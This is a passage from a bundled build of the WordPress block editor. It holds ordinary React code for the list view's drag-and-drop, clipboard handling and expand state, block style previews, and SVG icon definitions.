55568 const [target, setTarget] = (0,external_wp_element_namespaceObject.useState)();
55569 const { rootClientId: targetRootClientId, blockIndex: targetBlockIndex } = target || {};
55570 const onBlockDrop = useOnBlockDrop(targetRootClientId, targetBlockIndex);
55571 const rtl = (0,external_wp_i18n_namespaceObject.isRTL)();
55572 const previousRootClientId = (0,external_wp_compose_namespaceObject.usePrevious)(targetRootClientId);
55573 const maybeExpandBlock = (0,external_wp_element_namespaceObject.useCallback)(
55574 (_expandedState, _target) => {
55575 const { rootClientId } = _target || {};
55576 if (!rootClientId) {
55577 return;
55578 }
55579 if (_target?.dropPosition === "inside" && !_expandedState[rootClientId]) {
55580 setExpandedState({
55581 type: "expand",
55582 clientIds: [rootClientId]
55583 });
55584 }
55585 },
55586 [setExpandedState]
55587 );
55588 const throttledMaybeExpandBlock = (0,external_wp_compose_namespaceObject.useThrottle)(
55589 maybeExpandBlock,
55590 500,
55591 EXPAND_THROTTLE_OPTIONS
55592 );
55593 (0,external_wp_element_namespaceObject.useEffect)(() => {
55594 if (target?.dropPosition !== "inside" || previousRootClientId !== target?.rootClientId) {
55595 throttledMaybeExpandBlock.cancel();
55596 return;
55597 }
55598 throttledMaybeExpandBlock(expandedState, target);
55599 }, [
55600 expandedState,
55601 previousRootClientId,
55602 target,
55603 throttledMaybeExpandBlock
55604 ]);
55605 const draggedBlockClientIds = getDraggedBlockClientIds();
55606 const throttled = (0,external_wp_compose_namespaceObject.useThrottle)(
55607 (0,external_wp_element_namespaceObject.useCallback)(
55608 (event, currentTarget) => {
55609 const position = { x: event.clientX, y: event.clientY };
55610 const isBlockDrag = !!draggedBlockClientIds?.length;
55611 const blockElements = Array.from(
55612 currentTarget.querySelectorAll("[data-block]")
55613 );
55614 const blocksData = blockElements.map((blockElement) => {
55615 const clientId = blockElement.dataset.block;
55616 const isExpanded = blockElement.dataset.expanded === "true";
55617 const isDraggedBlock = blockElement.classList.contains("is-dragging");
55618 const nestingLevel = parseInt(
55619 blockElement.getAttribute("aria-level"),
55620 10
55621 );
55622 const rootClientId = getBlockRootClientId(clientId);
55623 return {
55624 clientId,
55625 isExpanded,
55626 rootClientId,
55627 blockIndex: getBlockIndex(clientId),
55628 element: blockElement,
55629 nestingLevel: nestingLevel || void 0,
55630 isDraggedBlock: isBlockDrag ? isDraggedBlock : false,
55631 innerBlockCount: getBlockCount(clientId),
55632 canInsertDraggedBlocksAsSibling: isBlockDrag ? canInsertBlocks(
55633 draggedBlockClientIds,
55634 rootClientId
55635 ) : true,
55636 canInsertDraggedBlocksAsChild: isBlockDrag ? canInsertBlocks(draggedBlockClientIds, clientId) : true
55637 };
55638 });
55639 const newTarget = getListViewDropTarget(
55640 blocksData,
55641 position,
55642 rtl
55643 );
55644 if (newTarget) {
55645 setTarget(newTarget);
55646 }
55647 },
55648 [
55649 canInsertBlocks,
55650 draggedBlockClientIds,
55651 getBlockCount,
55652 getBlockIndex,
55653 getBlockRootClientId,
55654 rtl
55655 ]
55656 ),
55657 50
55658 );
55659 const ref = (0,external_wp_compose_namespaceObject.__experimentalUseDropZone)({
55660 dropZoneElement,
55661 onDrop(event) {
55662 throttled.cancel();
55663 if (target) {
55664 onBlockDrop(event);
55665 }
55666 setTarget(void 0);
55667 },
55668 onDragLeave() {
55669 throttled.cancel();
55670 setTarget(null);
55671 },
55672 onDragOver(event) {
55673 throttled(event, event.currentTarget);
55674 },
55675 onDragEnd() {
55676 throttled.cancel();
55677 setTarget(void 0);
55678 }
55679 });
55680 return { ref, target };
55681}
55682
55683
55684;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-list-view-expand-selected-item.js
55685
55686
55687
55688function useListViewExpandSelectedItem({
55689 firstSelectedBlockClientId,
55690 setExpandedState
55691}) {
55692 const [selectedTreeId, setSelectedTreeId] = (0,external_wp_element_namespaceObject.useState)(null);
55693 const { selectedBlockParentClientIds } = (0,external_wp_data_namespaceObject.useSelect)(
55694 (select) => {
55695 const { getBlockParents } = select(store);
55696 return {
55697 selectedBlockParentClientIds: getBlockParents(
55698 firstSelectedBlockClientId,
55699 false
55700 )
55701 };
55702 },
55703 [firstSelectedBlockClientId]
55704 );
55705 (0,external_wp_element_namespaceObject.useEffect)(() => {
55706 if (selectedTreeId === firstSelectedBlockClientId) {
55707 return;
55708 }
55709 if (selectedBlockParentClientIds?.length) {
55710 setExpandedState({
55711 type: "expand",
55712 clientIds: selectedBlockParentClientIds
55713 });
55714 }
55715 }, [
55716 firstSelectedBlockClientId,
55717 selectedBlockParentClientIds,
55718 selectedTreeId,
55719 setExpandedState
55720 ]);
55721 return {
55722 setSelectedTreeId
55723 };
55724}
55725
55726
55727;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/use-clipboard-handler.js
55728
55729
55730
55731
55732
55733
55734function use_clipboard_handler_useClipboardHandler({ selectBlock }) {
55735 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
55736 const {
55737 getBlockOrder,
55738 getBlockRootClientId,
55739 getBlocksByClientId,
55740 getPreviousBlockClientId,
55741 getSelectedBlockClientIds,
55742 getSettings,
55743 canInsertBlockType,
55744 canRemoveBlocks
55745 } = (0,external_wp_data_namespaceObject.useSelect)(store);
55746 const { flashBlock, removeBlocks, replaceBlocks, insertBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store);
55747 const notifyCopy = useNotifyCopy();
55748 return (0,external_wp_compose_namespaceObject.useRefEffect)((node) => {
55749 function updateFocusAndSelection(focusClientId, shouldSelectBlock) {
55750 if (shouldSelectBlock) {
55751 selectBlock(void 0, focusClientId, null, null);
55752 }
55753 focusListItem(focusClientId, node);
55754 }
55755 function getBlocksToUpdate(clientId) {
55756 const selectedBlockClientIds = getSelectedBlockClientIds();
55757 const isUpdatingSelectedBlocks = selectedBlockClientIds.includes(clientId);
55758 const firstBlockClientId = isUpdatingSelectedBlocks ? selectedBlockClientIds[0] : clientId;
55759 const firstBlockRootClientId = getBlockRootClientId(firstBlockClientId);
55760 const blocksToUpdate = isUpdatingSelectedBlocks ? selectedBlockClientIds : [clientId];
55761 return {
55762 blocksToUpdate,
55763 firstBlockClientId,
55764 firstBlockRootClientId,
55765 originallySelectedBlockClientIds: selectedBlockClientIds
55766 };
55767 }
55768 function handler(event) {
55769 if (event.defaultPrevented) {
55770 return;
55771 }
55772 if (!node.contains(event.target.ownerDocument.activeElement)) {
55773 return;
55774 }
55775 const listViewRow = event.target.ownerDocument.activeElement?.closest(
55776 "[role=row]"
55777 );
55778 const clientId = listViewRow?.dataset?.block;
55779 if (!clientId) {
55780 return;
55781 }
55782 const {
55783 blocksToUpdate: selectedBlockClientIds,
55784 firstBlockClientId,
55785 firstBlockRootClientId,
55786 originallySelectedBlockClientIds
55787 } = getBlocksToUpdate(clientId);
55788 if (selectedBlockClientIds.length === 0) {
55789 return;
55790 }
55791 event.preventDefault();
55792 if (event.type === "copy" || event.type === "cut") {
55793 if (selectedBlockClientIds.length === 1) {
55794 flashBlock(selectedBlockClientIds[0]);
55795 }
55796 notifyCopy(event.type, selectedBlockClientIds);
55797 const blocks = getBlocksByClientId(selectedBlockClientIds);
55798 setClipboardBlocks(event, blocks, registry);
55799 }
55800 if (event.type === "cut") {
55801 if (!canRemoveBlocks(selectedBlockClientIds)) {
55802 return;
55803 }
55804 let blockToFocus = getPreviousBlockClientId(firstBlockClientId) ?? // If the previous block is not found (when the first block is deleted),
55805 // fallback to focus the parent block.
55806 firstBlockRootClientId;
55807 removeBlocks(selectedBlockClientIds, false);
55808 const shouldUpdateSelection = originallySelectedBlockClientIds.length > 0 && getSelectedBlockClientIds().length === 0;
55809 if (!blockToFocus) {
55810 blockToFocus = getBlockOrder()[0];
55811 }
55812 updateFocusAndSelection(blockToFocus, shouldUpdateSelection);
55813 } else if (event.type === "paste") {
55814 const {
55815 __experimentalCanUserUseUnfilteredHTML: canUserUseUnfilteredHTML
55816 } = getSettings();
55817 const blocks = getPasteBlocks(
55818 event,
55819 canUserUseUnfilteredHTML
55820 );
55821 if (selectedBlockClientIds.length === 1) {
55822 const [selectedBlockClientId] = selectedBlockClientIds;
55823 if (blocks.every(
55824 (block) => canInsertBlockType(
55825 block.name,
55826 selectedBlockClientId
55827 )
55828 )) {
55829 insertBlocks(
55830 blocks,
55831 void 0,
55832 selectedBlockClientId
55833 );
55834 updateFocusAndSelection(blocks[0]?.clientId, false);
55835 return;
55836 }
55837 }
55838 replaceBlocks(
55839 selectedBlockClientIds,
55840 blocks,
55841 blocks.length - 1,
55842 -1
55843 );
55844 updateFocusAndSelection(blocks[0]?.clientId, false);
55845 }
55846 }
55847 node.ownerDocument.addEventListener("copy", handler);
55848 node.ownerDocument.addEventListener("cut", handler);
55849 node.ownerDocument.addEventListener("paste", handler);
55850 return () => {
55851 node.ownerDocument.removeEventListener("copy", handler);
55852 node.ownerDocument.removeEventListener("cut", handler);
55853 node.ownerDocument.removeEventListener("paste", handler);
55854 };
55855 }, []);
55856}
55857
55858
55859;// ./node_modules/@wordpress/block-editor/build-module/components/list-view/index.js
55860
55861
55862
55863
55864
55865
55866
55867
55868
55869
55870
55871
55872
55873
55874
55875
55876
55877
55878
55879
55880
55881const expanded = (state, action) => {
55882 if (action.type === "clear") {
55883 return {};
55884 }
55885 if (Array.isArray(action.clientIds)) {
55886 return {
55887 ...state,
55888 ...action.clientIds.reduce(
55889 (newState, id) => ({
55890 ...newState,
55891 [id]: action.type === "expand"
55892 }),
55893 {}
55894 )
55895 };
55896 }
55897 return state;
55898};
55899const BLOCK_LIST_ITEM_HEIGHT = 32;
55900function ListViewComponent({
55901 id,
55902 blocks,
55903 dropZoneElement,
55904 showBlockMovers = false,
55905 isExpanded = false,
55906 showAppender = false,
55907 blockSettingsMenu: BlockSettingsMenu = BlockSettingsDropdown,
55908 rootClientId,
55909 description,
55910 onSelect,
55911 additionalBlockContent: AdditionalBlockContent
55912}, ref) {
55913 if (blocks) {
55914 external_wp_deprecated_default()(
55915 "`blocks` property in `wp.blockEditor.__experimentalListView`",
55916 {
55917 since: "6.3",
55918 alternative: "`rootClientId` property"
55919 }
55920 );
55921 }
55922 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(ListViewComponent);
55923 const { clientIdsTree, draggedClientIds, selectedClientIds } = useListViewClientIds({ blocks, rootClientId });
55924 const blockIndexes = useListViewBlockIndexes(clientIdsTree);
55925 const { getBlock } = (0,external_wp_data_namespaceObject.useSelect)(store);
55926 const { visibleBlockCount } = (0,external_wp_data_namespaceObject.useSelect)(
55927 (select) => {
55928 const { getGlobalBlockCount, getClientIdsOfDescendants } = select(store);
55929 const draggedBlockCount = draggedClientIds?.length > 0 ? getClientIdsOfDescendants(draggedClientIds).length + 1 : 0;
55930 return {
55931 visibleBlockCount: getGlobalBlockCount() - draggedBlockCount
55932 };
55933 },
55934 [draggedClientIds]
55935 );
55936 const { updateBlockSelection } = useBlockSelection();
55937 const [expandedState, setExpandedState] = (0,external_wp_element_namespaceObject.useReducer)(expanded, {});
55938 const [insertedBlock, setInsertedBlock] = (0,external_wp_element_namespaceObject.useState)(null);
55939 const { setSelectedTreeId } = useListViewExpandSelectedItem({
55940 firstSelectedBlockClientId: selectedClientIds[0],
55941 setExpandedState
55942 });
55943 const selectEditorBlock = (0,external_wp_element_namespaceObject.useCallback)(
55944 /**
55945 * @param {MouseEvent | KeyboardEvent | undefined} event
55946 * @param {string} blockClientId
55947 * @param {null | undefined | -1 | 1} focusPosition
55948 */
55949 (event, blockClientId, focusPosition) => {
55950 updateBlockSelection(event, blockClientId, null, focusPosition);
55951 setSelectedTreeId(blockClientId);
55952 if (onSelect) {
55953 onSelect(getBlock(blockClientId));
55954 }
55955 },
55956 [setSelectedTreeId, updateBlockSelection, onSelect, getBlock]
55957 );
55958 const { ref: dropZoneRef, target: blockDropTarget } = useListViewDropZone({
55959 dropZoneElement,
55960 expandedState,
55961 setExpandedState
55962 });
55963 const elementRef = (0,external_wp_element_namespaceObject.useRef)();
55964 const clipBoardRef = use_clipboard_handler_useClipboardHandler({
55965 selectBlock: selectEditorBlock
55966 });
55967 const treeGridRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([
55968 clipBoardRef,
55969 elementRef,
55970 dropZoneRef,
55971 ref
55972 ]);
55973 (0,external_wp_element_namespaceObject.useEffect)(() => {
55974 if (selectedClientIds?.length) {
55975 focusListItem(selectedClientIds[0], elementRef?.current);
55976 }
55977 }, []);
55978 const expand = (0,external_wp_element_namespaceObject.useCallback)(
55979 (clientId) => {
55980 if (!clientId) {
55981 return;
55982 }
55983 const clientIds = Array.isArray(clientId) ? clientId : [clientId];
55984 setExpandedState({ type: "expand", clientIds });
55985 },
55986 [setExpandedState]
55987 );
55988 const collapse = (0,external_wp_element_namespaceObject.useCallback)(
55989 (clientId) => {
55990 if (!clientId) {
55991 return;
55992 }
55993 setExpandedState({ type: "collapse", clientIds: [clientId] });
55994 },
55995 [setExpandedState]
55996 );
55997 const collapseAll = (0,external_wp_element_namespaceObject.useCallback)(() => {
55998 setExpandedState({ type: "clear" });
55999 }, [setExpandedState]);
56000 const expandRow = (0,external_wp_element_namespaceObject.useCallback)(
56001 (row) => {
56002 expand(row?.dataset?.block);
56003 },
56004 [expand]
56005 );
56006 const collapseRow = (0,external_wp_element_namespaceObject.useCallback)(
56007 (row) => {
56008 collapse(row?.dataset?.block);
56009 },
56010 [collapse]
56011 );
56012 const focusRow = (0,external_wp_element_namespaceObject.useCallback)(
56013 (event, startRow, endRow) => {
56014 if (event.shiftKey) {
56015 updateBlockSelection(
56016 event,
56017 startRow?.dataset?.block,
56018 endRow?.dataset?.block
56019 );
56020 }
56021 },
56022 [updateBlockSelection]
56023 );
56024 useListViewCollapseItems({
56025 collapseAll,
56026 expand
56027 });
56028 const firstDraggedBlockClientId = draggedClientIds?.[0];
56029 const { blockDropTargetIndex, blockDropPosition, firstDraggedBlockIndex } = (0,external_wp_element_namespaceObject.useMemo)(() => {
56030 let _blockDropTargetIndex, _firstDraggedBlockIndex;
56031 if (blockDropTarget?.clientId) {
56032 const foundBlockIndex = blockIndexes[blockDropTarget.clientId];
56033 _blockDropTargetIndex = foundBlockIndex === void 0 || blockDropTarget?.dropPosition === "top" ? foundBlockIndex : foundBlockIndex + 1;
56034 } else if (blockDropTarget === null) {
56035 _blockDropTargetIndex = null;
56036 }
56037 if (firstDraggedBlockClientId) {
56038 const foundBlockIndex = blockIndexes[firstDraggedBlockClientId];
56039 _firstDraggedBlockIndex = foundBlockIndex === void 0 || blockDropTarget?.dropPosition === "top" ? foundBlockIndex : foundBlockIndex + 1;
56040 }
56041 return {
56042 blockDropTargetIndex: _blockDropTargetIndex,
56043 blockDropPosition: blockDropTarget?.dropPosition,
56044 firstDraggedBlockIndex: _firstDraggedBlockIndex
56045 };
56046 }, [blockDropTarget, blockIndexes, firstDraggedBlockClientId]);
56047 const contextValue = (0,external_wp_element_namespaceObject.useMemo)(
56048 () => ({
56049 blockDropPosition,
56050 blockDropTargetIndex,
56051 blockIndexes,
56052 draggedClientIds,
56053 expandedState,
56054 expand,
56055 firstDraggedBlockIndex,
56056 collapse,
56057 collapseAll,
56058 BlockSettingsMenu,
56059 listViewInstanceId: instanceId,
56060 AdditionalBlockContent,
56061 insertedBlock,
56062 setInsertedBlock,
56063 treeGridElementRef: elementRef,
56064 rootClientId
56065 }),
56066 [
56067 blockDropPosition,
56068 blockDropTargetIndex,
56069 blockIndexes,
56070 draggedClientIds,
56071 expandedState,
56072 expand,
56073 firstDraggedBlockIndex,
56074 collapse,
56075 collapseAll,
56076 BlockSettingsMenu,
56077 instanceId,
56078 AdditionalBlockContent,
56079 insertedBlock,
56080 setInsertedBlock,
56081 rootClientId
56082 ]
56083 );
56084 const [fixedListWindow] = (0,external_wp_compose_namespaceObject.__experimentalUseFixedWindowList)(
56085 elementRef,
56086 BLOCK_LIST_ITEM_HEIGHT,
56087 visibleBlockCount,
56088 {
56089 // Ensure that the windowing logic is recalculated when the expanded state changes.
56090 // This is necessary because expanding a collapsed block in a short list view can
56091 // switch the list view to a tall list view with a scrollbar, and vice versa.
56092 // When this happens, the windowing logic needs to be recalculated to ensure that
56093 // the correct number of blocks are rendered, by rechecking for a scroll container.
56094 expandedState,
56095 useWindowing: true,
56096 windowOverscan: 40
56097 }
56098 );
56099 if (!clientIdsTree.length && !showAppender) {
56100 return null;
56101 }
56102 const describedById = description && `block-editor-list-view-description-${instanceId}`;
56103 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_data_namespaceObject.AsyncModeProvider, { value: true, children: [
56104 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56105 ListViewDropIndicatorPreview,
56106 {
56107 draggedBlockClientId: firstDraggedBlockClientId,
56108 listViewRef: elementRef,
56109 blockDropTarget
56110 }
56111 ),
56112 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: describedById, children: description }),
56113 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56114 external_wp_components_namespaceObject.__experimentalTreeGrid,
56115 {
56116 id,
56117 className: dist_clsx("block-editor-list-view-tree", {
56118 "is-dragging": draggedClientIds?.length > 0 && blockDropTargetIndex !== void 0
56119 }),
56120 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Block navigation structure"),
56121 ref: treeGridRef,
56122 onCollapseRow: collapseRow,
56123 onExpandRow: expandRow,
56124 onFocusRow: focusRow,
56125 applicationAriaLabel: (0,external_wp_i18n_namespaceObject.__)("Block navigation structure"),
56126 "aria-describedby": describedById,
56127 style: {
56128 "--wp-admin--list-view-dragged-items-height": draggedClientIds?.length ? `${BLOCK_LIST_ITEM_HEIGHT * (draggedClientIds.length - 1)}px` : null
56129 },
56130 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewContext.Provider, { value: contextValue, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56131 branch_default,
56132 {
56133 blocks: clientIdsTree,
56134 parentId: rootClientId,
56135 selectBlock: selectEditorBlock,
56136 showBlockMovers,
56137 fixedListWindow,
56138 selectedClientIds,
56139 isExpanded,
56140 showAppender
56141 }
56142 ) })
56143 }
56144 )
56145 ] });
56146}
56147const PrivateListView = (0,external_wp_element_namespaceObject.forwardRef)(ListViewComponent);
56148var list_view_list_view_default = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
56149 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56150 PrivateListView,
56151 {
56152 ref,
56153 ...props,
56154 showAppender: false,
56155 rootClientId: null,
56156 onSelect: null,
56157 additionalBlockContent: null,
56158 blockSettingsMenu: void 0
56159 }
56160 );
56161});
56162
56163
56164;// ./node_modules/@wordpress/block-editor/build-module/components/block-navigation/dropdown.js
56165
56166
56167
56168
56169
56170
56171
56172
56173
56174function BlockNavigationDropdownToggle({
56175 isEnabled,
56176 onToggle,
56177 isOpen,
56178 innerRef,
56179 ...props
56180}) {
56181 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56182 external_wp_components_namespaceObject.Button,
56183 {
56184 __next40pxDefaultSize: true,
56185 ...props,
56186 ref: innerRef,
56187 icon: list_view_default,
56188 "aria-expanded": isOpen,
56189 "aria-haspopup": "true",
56190 onClick: isEnabled ? onToggle : void 0,
56191 label: (0,external_wp_i18n_namespaceObject.__)("List view"),
56192 className: "block-editor-block-navigation",
56193 "aria-disabled": !isEnabled
56194 }
56195 );
56196}
56197function BlockNavigationDropdown({ isDisabled, ...props }, ref) {
56198 external_wp_deprecated_default()("wp.blockEditor.BlockNavigationDropdown", {
56199 since: "6.1",
56200 alternative: "wp.components.Dropdown and wp.blockEditor.ListView"
56201 });
56202 const hasBlocks = (0,external_wp_data_namespaceObject.useSelect)(
56203 (select) => !!select(store).getBlockCount(),
56204 []
56205 );
56206 const isEnabled = hasBlocks && !isDisabled;
56207 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56208 external_wp_components_namespaceObject.Dropdown,
56209 {
56210 contentClassName: "block-editor-block-navigation__popover",
56211 popoverProps: { placement: "bottom-start" },
56212 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56213 BlockNavigationDropdownToggle,
56214 {
56215 ...props,
56216 innerRef: ref,
56217 isOpen,
56218 onToggle,
56219 isEnabled
56220 }
56221 ),
56222 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-navigation__container", children: [
56223 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-editor-block-navigation__label", children: (0,external_wp_i18n_namespaceObject.__)("List view") }),
56224 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(list_view_list_view_default, {})
56225 ] })
56226 }
56227 );
56228}
56229var dropdown_default = (0,external_wp_element_namespaceObject.forwardRef)(BlockNavigationDropdown);
56230
56231
56232;// ./node_modules/@wordpress/block-editor/build-module/components/block-styles/preview-panel.js
56233
56234
56235
56236
56237
56238function BlockStylesPreviewPanel({
56239 genericPreviewBlock,
56240 style,
56241 className,
56242 activeStyle
56243}) {
56244 const example = (0,external_wp_blocks_namespaceObject.getBlockType)(genericPreviewBlock.name)?.example;
56245 const styleClassName = replaceActiveStyle(className, activeStyle, style);
56246 const previewBlocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
56247 return {
56248 ...genericPreviewBlock,
56249 title: style.label || style.name,
56250 description: style.description,
56251 initialAttributes: {
56252 ...genericPreviewBlock.attributes,
56253 className: styleClassName + " block-editor-block-styles__block-preview-container"
56254 },
56255 example
56256 };
56257 }, [genericPreviewBlock, styleClassName]);
56258 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_panel_default, { item: previewBlocks });
56259}
56260
56261
56262;// ./node_modules/@wordpress/block-editor/build-module/components/block-styles/index.js
56263
56264
56265
56266
56267
56268
56269
56270const block_styles_noop = () => {
56271};
56272function BlockStyles({ clientId, onSwitch = block_styles_noop, onHoverClassName = block_styles_noop }) {
56273 const {
56274 onSelect,
56275 stylesToRender,
56276 activeStyle,
56277 genericPreviewBlock,
56278 className: previewClassName
56279 } = useStylesForBlocks({
56280 clientId,
56281 onSwitch
56282 });
56283 const [hoveredStyle, setHoveredStyle] = (0,external_wp_element_namespaceObject.useState)(null);
56284 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
56285 if (!stylesToRender || stylesToRender.length === 0) {
56286 return null;
56287 }
56288 const debouncedSetHoveredStyle = (0,external_wp_compose_namespaceObject.debounce)(setHoveredStyle, 250);
56289 const onSelectStylePreview = (style) => {
56290 onSelect(style);
56291 onHoverClassName(null);
56292 setHoveredStyle(null);
56293 debouncedSetHoveredStyle.cancel();
56294 };
56295 const styleItemHandler = (item) => {
56296 if (hoveredStyle === item) {
56297 debouncedSetHoveredStyle.cancel();
56298 return;
56299 }
56300 debouncedSetHoveredStyle(item);
56301 onHoverClassName(item?.name ?? null);
56302 };
56303 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-styles", children: [
56304 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-styles__variants", children: stylesToRender.map((style) => {
56305 const buttonText = style.label || style.name;
56306 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56307 external_wp_components_namespaceObject.Button,
56308 {
56309 __next40pxDefaultSize: true,
56310 className: dist_clsx(
56311 "block-editor-block-styles__item",
56312 {
56313 "is-active": activeStyle.name === style.name
56314 }
56315 ),
56316 variant: "secondary",
56317 label: buttonText,
56318 onMouseEnter: () => styleItemHandler(style),
56319 onFocus: () => styleItemHandler(style),
56320 onMouseLeave: () => styleItemHandler(null),
56321 onBlur: () => styleItemHandler(null),
56322 onClick: () => onSelectStylePreview(style),
56323 "aria-current": activeStyle.name === style.name,
56324 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56325 external_wp_components_namespaceObject.__experimentalTruncate,
56326 {
56327 numberOfLines: 1,
56328 className: "block-editor-block-styles__item-text",
56329 children: buttonText
56330 }
56331 )
56332 },
56333 style.name
56334 );
56335 }) }),
56336 hoveredStyle && !isMobileViewport && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56337 external_wp_components_namespaceObject.Popover,
56338 {
56339 placement: "left-start",
56340 offset: 34,
56341 focusOnMount: false,
56342 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56343 "div",
56344 {
56345 className: "block-editor-block-styles__preview-panel",
56346 onMouseLeave: () => styleItemHandler(null),
56347 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56348 BlockStylesPreviewPanel,
56349 {
56350 activeStyle,
56351 className: previewClassName,
56352 genericPreviewBlock,
56353 style: hoveredStyle
56354 }
56355 )
56356 }
56357 )
56358 }
56359 )
56360 ] });
56361}
56362var block_styles_default = BlockStyles;
56363
56364
56365;// ./node_modules/@wordpress/icons/build-module/library/paragraph.js
56366
56367
56368var paragraph_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m9.99609 14v-.2251l.00391.0001v6.225h1.5v-14.5h2.5v14.5h1.5v-14.5h3v-1.5h-8.50391c-2.76142 0-5 2.23858-5 5 0 2.7614 2.23858 5 5 5z" }) });
56369
56370
56371;// ./node_modules/@wordpress/icons/build-module/library/heading-level-1.js
56372
56373
56374var heading_level_1_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.6 7c-.6.9-1.5 1.7-2.6 2v1h2v7h2V7h-1.4zM11 11H7V7H5v10h2v-4h4v4h2V7h-2v4z" }) });
56375
56376
56377;// ./node_modules/@wordpress/icons/build-module/library/heading-level-2.js
56378
56379
56380var heading_level_2_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9 11.1H5v-4H3v10h2v-4h4v4h2v-10H9v4zm8 4c.5-.4.6-.6 1.1-1.1.4-.4.8-.8 1.2-1.3.3-.4.6-.8.9-1.3.2-.4.3-.8.3-1.3 0-.4-.1-.9-.3-1.3-.2-.4-.4-.7-.8-1-.3-.3-.7-.5-1.2-.6-.5-.2-1-.2-1.5-.2-.4 0-.7 0-1.1.1-.3.1-.7.2-1 .3-.3.1-.6.3-.9.5-.3.2-.6.4-.8.7l1.2 1.2c.3-.3.6-.5 1-.7.4-.2.7-.3 1.2-.3s.9.1 1.3.4c.3.3.5.7.5 1.1 0 .4-.1.8-.4 1.1-.3.5-.6.9-1 1.2-.4.4-1 .9-1.6 1.4-.6.5-1.4 1.1-2.2 1.6v1.5h8v-2H17z" }) });
56381
56382
56383;// ./node_modules/@wordpress/icons/build-module/library/heading-level-3.js
56384
56385
56386var heading_level_3_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.3 1.7c-.4-.4-1-.7-1.6-.8v-.1c.6-.2 1.1-.5 1.5-.9.3-.4.5-.8.5-1.3 0-.4-.1-.8-.3-1.1-.2-.3-.5-.6-.8-.8-.4-.2-.8-.4-1.2-.5-.6-.1-1.1-.2-1.6-.2-.6 0-1.3.1-1.8.3s-1.1.5-1.6.9l1.2 1.4c.4-.2.7-.4 1.1-.6.3-.2.7-.3 1.1-.3.4 0 .8.1 1.1.3.3.2.4.5.4.8 0 .4-.2.7-.6.9-.7.3-1.5.5-2.2.4v1.6c.5 0 1 0 1.5.1.3.1.7.2 1 .3.2.1.4.2.5.4s.1.4.1.6c0 .3-.2.7-.5.8-.4.2-.9.3-1.4.3s-1-.1-1.4-.3c-.4-.2-.8-.4-1.2-.7L13 15.6c.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.6 0 1.1-.1 1.6-.2.4-.1.9-.2 1.3-.5.4-.2.7-.5.9-.9.2-.4.3-.8.3-1.2 0-.6-.3-1.1-.7-1.5z" }) });
56387
56388
56389;// ./node_modules/@wordpress/icons/build-module/library/heading-level-4.js
56390
56391
